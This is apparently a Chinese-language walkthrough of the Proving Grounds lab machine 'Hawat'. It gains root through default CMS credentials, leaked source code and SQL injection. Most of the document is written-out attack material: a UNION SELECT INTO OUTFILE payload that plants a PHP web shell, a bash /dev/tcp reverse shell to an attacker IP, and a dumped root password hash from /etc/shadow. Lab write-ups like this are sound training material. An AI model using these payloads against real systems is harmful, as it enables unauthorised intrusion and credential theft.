Proving Grounds Practice : Hawat Walkthrough
Proving Grounds Practice : Hawat Walkthrough
Foothold :
- 這一台靶機要應用的地方很多,共有三個網站 17445、30445 & 50080
- 一開始透過較大字典檔在 50080 發現 /cloud 路徑,使用常用帳號密碼 admin:admin 登入 CMS
- 枚舉獲得一個 ZIP 檔,發現 SQL Injection 的路徑與字串(Query String)
- 在 17445 確認可以注入,注入在 30445 枚舉到的路徑 /srv/http
- 並使用 UNION Select 語法注入成功
- 接著在 30445 存取注入的 cmd.php 網頁,執行 bash 指令獲取 Reverse Shell
PE :
- 不用 PE,拿到 Reverse Shell 即為 root
Rustscan,└─$ rustscan -a 192.168.223.147 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.223.147 | tee snmp
nmap
22/tcp open ssh OpenSSH 8.4 (protocol 2.0)
17445/tcp open unknown
30455/tcp open http nginx 1.18.0
50080/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
17445 /
17445 /robots.txt
註冊與登入
建立 Issues,使用 {{7*7}} 沒有運算結果
gobuster 17445 /
30455 /
30455 /robots.txt
gobuster 30455 /
gobuster 30455 /4
30455 /phpinfo.php 得知 Web 根目錄路徑放在 /srv/http
50080 /
50080 /robots.txt
gobuster 50080 /
50080 /4
50080 /images
至此沒有發現可以利用的地方,只剩下網站的表格送出測試 SQL Injection
這個先保留,改使用大一點的字典擋 big.txt 再掃描一次試試看
結果在 50080 Port 掃到新的路徑如下
50080 /cloud
先測試幾組常用的帳號密碼組合,發現 admin:admin 可以登入
檔案管理發現一個 issuetracker.zip 檔案
解壓縮後在這個路徑 /issuetracker/src/main/java/com/issue/tracker/issues
有好幾個 .java 檔案,其中一個名稱是 IssueController.java
發現一串帳號密碼 issue_user:ManagementInsideOld797
然後再下面一段發現疑似 SQL Injection 的字串
String query = "SELECT message FROM issue WHERE priority='"+priority+"'";
路徑是 /issue/checkByPriority
回到 17445 輸入改網址試試看,收到 HTTP 405
但有顯示 Method not Allowed,網頁是用 GET 執行
送到 Burp Suite 改 POST 試試看
沒有顯示 Method not Allowed 改成 HTTP 400 顯示 Bad Request
查看 code 並帶入 Query String "?priority=Normal" 可以正常顯示了
從 phpinfo.php 得知 root 使用的路徑是 /srv/http
注入 UNION Select 試試看
語法 : ' union select '<?php echo system($_REQUEST["cmd"]); ?>' into outfile '/srv/http/cmd.php' #
URL encode : %27%20union%20select%20%27%3C%3Fphp%20echo%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20into%20outfile%20%27%2Fsrv%2Fhttp%2Fcmd.php%27%20%23
看來 HTTP 200 OK
存取http://192.168.223.147:30455/cmd.php?cmd=whoami 試試看,成功獲得 whoami
使用 bash -c "bash -i >& /dev/tcp/192.168.45.168/30455 0>&1"
URL Encode : bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.168%2F30455%200%3E%261%22
192.168.223.147:30455/cmd.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.168%2F30455%200%3E%261%22
直接拿到 Reverse Shell 了,whoami 即是 root
補充說明 :
利用課程中學到的注入標準語法也是有用的
' union select '<?php system($_GET["cmd"]); ?>' into outfile '/srv/http/cmd.php' -- -
直接 cat /root/proof.txt 就結束了,連 Reverse Shell 其實都可以不用拿
另外 cat /etc/shadow 可以看到 root 的密碼
root:$6$LRw43gk0AlKusVST$9XxnQaSlM4FWMQCLbNjEOg.hmDZY4wQPuLx0fFkYEtMnctU3L5ZkNPmmJeELqaWJYICXTKvwmS59R.AdvMHn//:18668:::::: bin:!*:18662::::::
留言
張貼留言